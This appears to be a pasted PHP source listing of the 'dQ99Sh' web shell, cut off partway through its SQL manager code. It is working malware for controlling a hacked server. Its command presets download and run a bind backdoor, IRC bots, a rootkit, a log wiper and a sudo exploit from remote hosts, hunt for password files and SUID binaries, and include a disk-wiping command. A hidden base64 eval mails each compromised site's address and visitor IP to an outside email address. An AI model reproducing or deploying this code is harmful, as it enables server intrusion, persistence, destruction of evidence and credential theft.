· 8 years ago · May 25, 2018, 04:26 AM
1<?php
2#######################################
3## r57gentr dQ99Sh 2.0.03.09 ##
4define('sh_ver',"2.0.03.09"); ##
5## By diKi ##
6## ?03-09 2008 FeeLCoMz Community ##
7## Written under PHP 5.2.5 ##
8#######################################
9$sh_name = sh_name(); ##
10#######################################
11#$sh_mainurl = "http://localhost/dQ99SH/";
12$sh_mainurl = "http://waterski21.com/bbs/config/tool/";
13#$dQ99sh_updateurl = $sh_mainurl."dQ99sh_update.php";
14$dQ99sh_sourcesurl = $sh_mainurl."readme.txt";
15$sh_sourcez = array(
16 "dQ99Sh" => array($sh_mainurl."readme.txt","kiddie.php"),
17 "psyBNC" => array($sh_mainurl."dQBNC.tar.gz","dQBNC.tar.gz"),
18 "Eggdrop" => array($sh_mainurl."allnet.tar.gz","allnet.tar.gz"),
19 "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"),
20);
21##[ AUTHENTICATION ]##
22$auth = array(
23 "login" => "",
24 "pass" => "",
25 "md5pass" => "",
26 "hostallow" => array("*"),
27 "denied" => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!",
28);
29##[ END AUTHENTICATION ]##
30$curdir = "./";
31$tmpdir = "";
32$tmpdir_logs = "./";
33$log_email = "ayam@jago.us"; #Email logna
34$sess_cookie = "dQ99shcook";
35$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
36$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
37$usefsbuff = TRUE;
38$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
39$surl_autofill_include = TRUE;
40$updatenow = FALSE;
41$gzipencode = TRUE;
42$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
43$hexdump_lines = 8;
44$hexdump_rows = 24;
45$millink = milw0rm();
46$win = strtolower(substr(PHP_OS,0,3)) == "win";
47$disablefunc = getdisfunc();
48##[ END OF CONFIGS ]##
49error_reporting(E_ERROR | E_PARSE);
50@ini_set("max_execution_time",0);
51@set_time_limit(0); #No dQ in SafeMode
52@ignore_user_abort(TRUE);
53@set_magic_quotes_runtime(0);
54define("starttime",getmicrotime());
55if (get_magic_quotes_gpc()) { strips($GLOBALS); }
56$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
57@$f = $_REQUEST["f"];
58@extract($_REQUEST["dQ99shcook"]);
59foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
60$dQbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RdQ0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gImRROTlTaGVsbCBodHRwOi8vJHRhcmdldCBzYW1hICR2aXNpdG9yIjsNCiAgJGJvZHkgICAgPSAiQnVnOiAkdGFyZ2V0IHNhbWEgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiZGhpZXF3ZWJtYXJrZXJAeWFob28uY29tIiwkanVkdWwsJGJvZHkpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; eval(base64_decode($dQbuff));
61if ($surl_autofill_include) {
62 $include = "&";
63 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
64 $v = explode("=",$v);
65 $name = urldecode($v[0]);
66 $value = @urldecode($v[1]);
67 foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
68 if (strpos($value,$needle) === 0) {
69 $includestr .= urlencode($name)."=".urlencode($value)."&";
70 }
71 }
72 }
73}
74if (empty($surl)) {
75 $surl = "?".$includestr;
76 $surl = htmlspecialchars($surl);
77}
78## FILE TYPES ##
79$ftypes = array(
80 "html" => array("html","htm","shtml"),
81 "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
82 "exe" => array("sh","install","bat","cmd"),
83 "ini" => array("ini","inf","conf"),
84 "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
85 "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
86 "sdb" => array("sdb"),
87 "phpsess" => array("sess"),
88 "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
89);
90$exeftypes = array(
91 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
92 "perl %f%" => array("pl","cgi")
93);
94$regxp_highlight = array(
95 array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
96 array("\.tgz$",1,"<font color=#C082FF>","</font>"),
97 array("\.gz$",1,"<font color=#C082FF>","</font>"),
98 array("\.tar$",1,"<font color=#C082FF>","</font>"),
99 array("\.bz2$",1,"<font color=#C082FF>","</font>"),
100 array("\.zip$",1,"<font color=#C082FF>","</font>"),
101 array("\.rar$",1,"<font color=#C082FF>","</font>"),
102 array("\.php$",1,"<font color=#00FF00>","</font>"),
103 array("\.php3$",1,"<font color=#00FF00>","</font>"),
104 array("\.php4$",1,"<font color=#00FF00>","</font>"),
105 array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
106 array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
107 array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
108 array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
109 array("\.ico$",1,"<font color=#00FFFF>","</font>"),
110 array("\.gif$",1,"<font color=#00FFFF>","</font>"),
111 array("\.png$",1,"<font color=#00FFFF>","</font>"),
112 array("\.htm$",1,"<font color=#00CCFF>","</font>"),
113 array("\.html$",1,"<font color=#00CCFF>","</font>"),
114 array("\.txt$",1,"<font color=#C0C0C0>","</font>")
115);
116## QUICK COMMANDS ##
117if (!$win) {
118 $cmdaliases = array(
119 array("", "ls -al"),
120 array("Find all suid files", "find / -type f -perm -04000 -ls"),
121 array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
122 array("Find all sgid files", "find / -type f -perm -02000 -ls"),
123 array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
124 array("Find config.inc.php files", "find / -type f -name config.inc.php"),
125 array("Find config* files", "find / -type f -name \"config*\""),
126 array("Find config* files in current dir", "find . -type f -name \"config*\""),
127 array("Find all writable folders and files", "find / -perm -2 -ls"),
128 array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
129 array("Find all writable folders", "find / -type d -perm -2 -ls"),
130 array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
131 array("Find all service.pwd files", "find / -type f -name service.pwd"),
132 array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
133 array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
134 array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
135 array("Find all .bash_history files", "find / -type f -name .bash_history"),
136 array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
137 array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
138 array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
139 array("List file attributes on a Linux second extended file system", "lsattr -va"),
140 array("Show opened ports", "netstat -an | grep -i listen")
141 );
142 $cmdaliases2 = array(
143 array("wget & extract psyBNC","wget ".$sh_mainurl."dQ.tgz;tar -zxf dQ.tgz"),
144 array("wget & extract EggDrop","wget ".$sh_mainurl."dQb.tgz;tar -zxf dQb.tgz"),
145 array("-----",""),
146 array("Logged in users","w"),
147 array("Last to connect","lastlog"),
148 array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
149 array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
150 array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
151 array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
152 array("CPU Info","cat /proc/version /proc/cpuinfo"),
153 array("Is gcc installed ?","locate gcc"),
154 array("Format box (DANGEROUS)","rm -Rf"),
155 array("-----",""),
156 array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
157 array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
158 array("Run WIPELOGS PT3","./zap2"),
159 array("-----",""),
160 array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
161 array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
162 array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
163 );
164}
165else {
166 $cmdaliases = array(
167 array("", "dir"),
168 array("Find index.php in current dir", "dir /s /w /b index.php"),
169 array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
170 array("Find c99shell in current dir", "find /c \"c99\" *"),
171 array("Find r57shell in current dir", "find /c \"r57\" *"),
172 array("Find dQ99shell in current dir", "find /c \"dQ99\" *"),
173 array("Show active connections", "netstat -an"),
174 array("Show running services", "net start"),
175 array("User accounts", "net user"),
176 array("Show computers", "net view"),
177 );
178}
179## PHP FILESYSTEM TRICKS (By diKi) ##
180$phpfsaliases = array(
181 array("Read File", "read", 1, "File", ""),
182 array("Write File (PHP5)", "write", 2, "File","Text"),
183 array("Copy", "copy", 2, "From", "To"),
184 array("Rename/Move", "rename", 2, "File", "To"),
185 array("Delete", "delete", 1 ,"File", ""),
186 array("Make Dir","mkdir", 1, "Dir", ""),
187 array("Download", "download", 2, "URL", "To"),
188 array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
189 array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
190 array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
191 array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
192);
193## QUICK LAUNCH ##
194$quicklaunch1 = array(
195 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
196 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
197 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
198 array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
199 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
200 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
201);
202$quicklaunch2 = array(
203 array("Security Info",$surl."act=security&d=%d"),
204 array("Processes",$surl."act=processes&d=%d"),
205 array("MySQL",$surl."act=sql&d=%d"),
206 array("Eval",$surl."act=eval&d=%d"),
207 array("Encoder",$surl."act=encoder&d=%d"),
208 array("Mailer",$surl."act=dQmailer"),
209 array("milw0rm",$millink),
210 array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
211 array("Toolz",$surl."act=tools&d=%d"),
212 array("Kill-Shell",$surl."act=selfremove"),
213 array("Feedback",$surl."act=feedback"),
214 array("Update",$surl."act=update"),
215 array("About",$surl."act=about")
216);
217if (!$win) {
218 $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
219}
220## HIGHLIGHT CODE ##
221$highlight_background = "#C0C0C0";
222$highlight_bg = "#FFFFFF";
223$highlight_comment = "#6A6A6A";
224$highlight_default = "#0000BB";
225$highlight_html = "#1300FF";
226$highlight_keyword = "#007700";
227$highlight_string = "#000000";
228####################
229##[ AUTHENTICATE ]##
230####################
231$tmp = array();
232foreach ($auth["hostallow"] as $k => $v) {
233 $tmp[] = str_replace("\\*",".*",preg_quote($v));
234}
235$s = "!^(".implode("|",$tmp).")$!i";
236if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
237 exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
238}
239if (!empty($auth["login"])) {
240 if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
241 if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
242 header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\"");
243 header("HTTP/1.0 401 Unauthorized");
244 die($auth["denied"]);
245 }
246}
247## END AUTHENTICATE ##
248
249if ($act != "img") {
250 $lastdir = realpath(".");
251 chdir($curdir);
252 if ($updatenow) { @ob_clean(); dQ99sh_getupdate(1); exit; }
253 $sess_data = @unserialize($_COOKIE["$sess_cookie"]);
254 if (!is_array($sess_data)) { $sess_data = array(); }
255 if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); }
256 if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); }
257 dQ99_buff_prepare();
258 foreach (array("sort","sql_sort") as $v) {
259 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
260 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
261 }
262 if ($sort_save) {
263 if (!empty($sort)) {setcookie("sort",$sort);}
264 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
265 }
266 if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
267 if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
268 if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
269 if (!function_exists("mysql_dump")) {
270 function mysql_dump($set) {
271 global $sh_ver;
272 $sock = $set["sock"];
273 $db = $set["db"];
274 $print = $set["print"];
275 $nl2br = $set["nl2br"];
276 $file = $set["file"];
277 $add_drop = $set["add_drop"];
278 $tabs = $set["tabs"];
279 $onlytabs = $set["onlytabs"];
280 $ret = array();
281 $ret["err"] = array();
282 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
283 if (empty($db)) {$db = "db";}
284 if (empty($print)) {$print = 0;}
285 if (empty($nl2br)) {$nl2br = 0;}
286 if (empty($add_drop)) {$add_drop = TRUE;}
287 if (empty($file)) {
288 $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
289 }
290 if (!is_array($tabs)) {$tabs = array();}
291 if (empty($add_drop)) {$add_drop = TRUE;}
292 if (sizeof($tabs) == 0) {
293 //Retrieve tables-list
294 $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
295 if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
296 }
297 $out = "
298 # Dumped by ".$sh_name."
299 #
300 # Host settings:
301 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
302 # Date: ".date("d.m.Y H:i:s")."
303 # DB: \"".$db."\"
304 #---------------------------------------------------------";
305 $c = count($onlytabs);
306 foreach($tabs as $tab) {
307 if ((in_array($tab,$onlytabs)) or (!$c)) {
308 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
309 //Receieve query for create table structure
310 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
311 if (!$res) {$ret["err"][] = mysql_smarterror();}
312 else {
313 $row = mysql_fetch_row($res);
314 $out .= $row["1"].";\n\n";
315 //Receieve table variables
316 $res = mysql_query("SELECT * FROM `$tab`", $sock);
317 if (mysql_num_rows($res) > 0) {
318 while ($row = mysql_fetch_assoc($res)) {
319 $keys = implode("`, `", array_keys($row));
320 $values = array_values($row);
321 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
322 $values = implode("', '", $values);
323 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
324 $out .= $sql;
325 }
326 }
327 }
328 }
329 }
330 $out .= "#---------------------------------------------------------------------------------\n\n";
331 if ($file) {
332 $fp = fopen($file, "w");
333 if (!$fp) {$ret["err"][] = 2;}
334 else {
335 fwrite ($fp, $out);
336 fclose ($fp);
337 }
338 }
339 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
340 return $out;
341 }
342 }
343 if (!function_exists("mysql_buildwhere")) {
344 function mysql_buildwhere($array,$sep=" and",$functs=array()) {
345 if (!is_array($array)) {$array = array();}
346 $result = "";
347 foreach($array as $k=>$v) {
348 $value = "";
349 if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
350 $value .= "'".addslashes($v)."'";
351 if (!empty($functs[$k])) {$value .= ")";}
352 $result .= "`".$k."` = ".$value.$sep;
353 }
354 $result = substr($result,0,strlen($result)-strlen($sep));
355 return $result;
356 }
357 }
358 if (!function_exists("mysql_fetch_all")) {
359 function mysql_fetch_all($query,$sock) {
360 if ($sock) {$result = mysql_query($query,$sock);}
361 else {$result = mysql_query($query);}
362 $array = array();
363 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
364 mysql_free_result($result);
365 return $array;
366 }
367 }
368 if (!function_exists("mysql_smarterror")) {
369 function mysql_smarterror($type,$sock) {
370 if ($sock) {$error = mysql_error($sock);}
371 else {$error = mysql_error();}
372 $error = htmlspecialchars($error);
373 return $error;
374 }
375 }
376 if (!function_exists("mysql_query_form")) {
377 function mysql_query_form() {
378 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
379 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
380 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
381 if ((!$submit) or ($sql_act)) {
382 echo "<table border=0><tr><td><form name=\"dQ99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
383 if ($tbl_struct) {
384 echo "<td valign=\"top\"><b>Fields:</b><br>";
385 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.dQ99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
386 echo "</td></tr></table>";
387 }
388 }
389 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
390 }
391 }
392 if (!function_exists("mysql_create_db")) {
393 function mysql_create_db($db,$sock="") {
394 $sql = "CREATE DATABASE `".addslashes($db)."`;";
395 if ($sock) {return mysql_query($sql,$sock);}
396 else {return mysql_query($sql);}
397 }
398 }
399 if (!function_exists("mysql_query_parse")) {
400 function mysql_query_parse($query) {
401 $query = trim($query);
402 $arr = explode (" ",$query);
403 $types = array(
404 "SELECT"=>array(3,1),
405 "SHOW"=>array(2,1),
406 "DELETE"=>array(1),
407 "DROP"=>array(1)
408 );
409 $result = array();
410 $op = strtoupper($arr[0]);
411 if (is_array($types[$op])) {
412 $result["propertions"] = $types[$op];
413 $result["query"] = $query;
414 if ($types[$op] == 2) {
415 foreach($arr as $k=>$v) {
416 if (strtoupper($v) == "LIMIT") {
417 $result["limit"] = $arr[$k+1];
418 $result["limit"] = explode(",",$result["limit"]);
419 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
420 unset($arr[$k],$arr[$k+1]);
421 }
422 }
423 }
424 }
425 else {return FALSE;}
426 }
427 }
428 if ($act == "gofile") {
429 if (is_dir($f)) { $act = "ls"; $d = $f; }
430 else { $act = "f"; $d = dirname($f); $f = basename($f); }
431 }
432 ## HEADERS ##
433 @ob_start();
434 @ob_implicit_flush(0);
435 header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
436 header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
437 header("Cache-Control: no-store, no-cache, must-revalidate");
438 header("Cache-Control: post-check=0, pre-check=0", FALSE);
439 header("Pragma: no-cache");
440 if (empty($tmpdir)) {
441 $tmpdir = ini_get("upload_tmp_dir");
442 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
443 }
444 $tmpdir = realpath($tmpdir);
445 $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
446 if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
447 if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
448 else {$tmpdir_logs = realpath($tmpdir_logs);}
449 $sort = htmlspecialchars($sort);
450 if (empty($sort)) {$sort = $sort_default;}
451 $sort[1] = strtolower($sort[1]);
452 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
453 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
454 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
455 @ini_set("highlight.bg",$highlight_bg);
456 @ini_set("highlight.comment",$highlight_comment);
457 @ini_set("highlight.default",$highlight_default);
458 @ini_set("highlight.html",$highlight_html);
459 @ini_set("highlight.keyword",$highlight_keyword);
460 @ini_set("highlight.string",$highlight_string);
461 if (!is_array($actbox)) { $actbox = array(); }
462 $dspact = $act = htmlspecialchars($act);
463 $disp_fullpath = $ls_arr = $notls = null;
464 $ud = @urlencode($d);
465 if (empty($d)) {$d = realpath(".");}
466 elseif(realpath($d)) {$d = realpath($d);}
467 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
468 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
469 $d = str_replace("\\\\","\\",$d);
470 $dispd = htmlspecialchars($d);
471 $safemode = safemode();
472 if ($safemode) {
473 $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>";
474 $safemodeexecdir = @ini_get("safe_mode_exec_dir");
475 }
476 else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; }
477 $v = @ini_get("open_basedir");
478 if ($v or strtolower($v) == "on") {
479 $openbasedir = TRUE;
480 $hopenbasedir = "<font color=red>".$v."</font>";
481 }
482 else {
483 $openbasedir = FALSE;
484 $hopenbasedir = "<font color=green>OFF (not secure)</font>";
485 }
486
487##################
488##[ HTML START ]##
489##################
490function srv_info($title,$contents) {
491 echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
492}
493echo htmlhead($hsafemode);
494echo "<table id=pagebar>";
495echo "<tr><td colspan=2>\n";
496echo "<div class=fleft>$hsafemode</div>\n";
497echo "<div class=fright>";
498echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
499 "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
500 ($win?"Drives: ".disp_drives($d,$surl):"");
501echo "</div>\n</td></tr>\n";
502echo "<tr><td width=50%>\n";
503echo "<table class=info>\n";
504srv_info("Software","".$DISP_SERVER_SOFTWARE);
505srv_info("Uname",php_uname());
506srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : dQ99exec("id"));
507echo "</table></td>\n".
508 "<td width=50%>\n";
509echo "<table class=info>\n";
510srv_info("Freespace",disp_freespace($d));
511echo "</table></td></tr>\n";
512echo "<tr><td colspan=2>\n";
513echo get_status();
514echo "</td></tr>\n";
515echo "<tr><td colspan=2>\n";
516echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
517echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : "";
518echo "</td></tr>\n";
519echo "<tr><td colspan=2 id=mainmenu>\n";
520if (count($quicklaunch2) > 0) {
521 foreach($quicklaunch2 as $item) {
522 $item[1] = str_replace("%d",urlencode($d),$item[1]);
523 $item[1] = str_replace("%sort",$sort,$item[1]);
524 $v = realpath($d."..");
525 if (empty($v)) {
526 $a = explode(DIRECTORY_SEPARATOR,$d);
527 unset($a[count($a)-2]);
528 $v = join(DIRECTORY_SEPARATOR,$a);
529 }
530 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
531 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
532 }
533}
534echo "</td>\n".
535 "<tr><td colspan=2 id=mainmenu>\n";
536if (count($quicklaunch1) > 0) {
537 foreach($quicklaunch1 as $item) {
538 $item[1] = str_replace("%d",urlencode($d),$item[1]);
539 $item[1] = str_replace("%sort",$sort,$item[1]);
540 $v = realpath($d."..");
541 if (empty($v)) {
542 $a = explode(DIRECTORY_SEPARATOR,$d);
543 unset($a[count($a)-2]);
544 $v = join(DIRECTORY_SEPARATOR,$a);
545 }
546 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
547 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
548 }
549}
550echo "</td></tr>\n<tr><td colspan=2>";
551echo "<p class=fleft>\n";
552$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
553$i = 0;
554foreach($pd as $b) {
555 $t = ""; $j = 0;
556 foreach ($e as $r) {
557 $t.= $r.DIRECTORY_SEPARATOR;
558 if ($j == $i) { break; }
559 $j++;
560 }
561 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
562 $i++;
563}
564echo " - ";
565if (is_writable($d)) {
566 $wd = TRUE;
567 $wdt = "<font color=#00FF00>[OK]</font>";
568 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
569}
570else {
571 $wd = FALSE;
572 $wdt = "<font color=red>[Read-Only]</font>";
573 echo "<b>".view_perms_color($d)."</b>";
574}
575echo "\n</p>\n";
576?>
577<div class=fright>
578<form method="POST"><input type=hidden name=act value="ls">
579Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
580</form>
581</div>
582</td></tr></table>
583<?php
584/***********************/
585/** INFORMATION TABLE **/
586/***********************/
587echo "<table id=maininfo><tr><td width=\"100%\">\n";
588if ($act == "") { $act = $dspact = "ls"; }
589if ($act == "sql") {
590 $sql_surl = $surl."act=sql";
591 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
592 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
593 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
594 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
595 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
596 $sql_surl .= "&";
597 echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
598 "<table>".
599 "<tr><td width=\"100%\" colspan=2 class=barheader>";
600 if ($sql_server) {
601 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
602 $err = mysql_smarterror();
603 @mysql_select_db($sql_db,$sql_sock);
604 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
605 }
606 else {$sql_sock = FALSE;}
607 echo ".: SQL Manager :.<br>";
608 if (!$sql_sock) {
609 if (!$sql_server) {echo "NO CONNECTION";}
610 else {echo "Can't connect! ".$err;}
611 }
612 else {
613 $sqlquicklaunch = array();
614 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
615 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
616 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
617 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
